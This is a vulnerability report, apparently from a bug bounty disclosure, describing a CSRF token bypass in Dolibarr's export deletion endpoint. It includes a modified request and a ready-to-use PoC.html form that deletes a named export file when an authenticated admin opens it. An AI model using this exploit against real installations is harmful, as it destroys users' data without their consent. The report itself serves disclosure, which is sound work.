Cross-Site Request Forgery (CSRF) in dolibarr/dolibarr
Reported on
Jul 18th 2021
✍️ Description
Attacker can delete any Exports for any user with CSRF vulnerability when the Admin or SuperAdmin or an authorized user click on PoC.html file, it is enough to attacker know the Export's names on server.
I convert the
/exports/export.php?step=5&datatoexport=commande_1&file=filename.extension&action=confirm_deletefile&confirm=yes&token=8499305eb2e675f6252d06550f06b0b5 HTTP/2
to this
GET /exports/export.php?step=5&datatoexport=commande_1&file=filename.extension&action=confirm_deletefile&token=&confirm=yes HTTP/2
and then the CSRF token baypassed.
🕵️♂️ Proof of Concept
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.dolibarr.org/exports/export.php">
<input type="hidden" name="step" value="5" />
<input type="hidden" name="datatoexport" value="commande_1" />
<input type="hidden" name="file" value="export_categorie_1_supplier.csv" />
<input type="hidden" name="action" value="confirm_deletefile" />
<input type="hidden" name="token" value="" />
<input type="hidden" name="confirm" value="yes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Here in PoC.html the file name is export_categorie_1_supplier.csv that successfully I delete it with CSRF vulnerability.
💥 Impact
This vulnerability is capable of Delete any Export.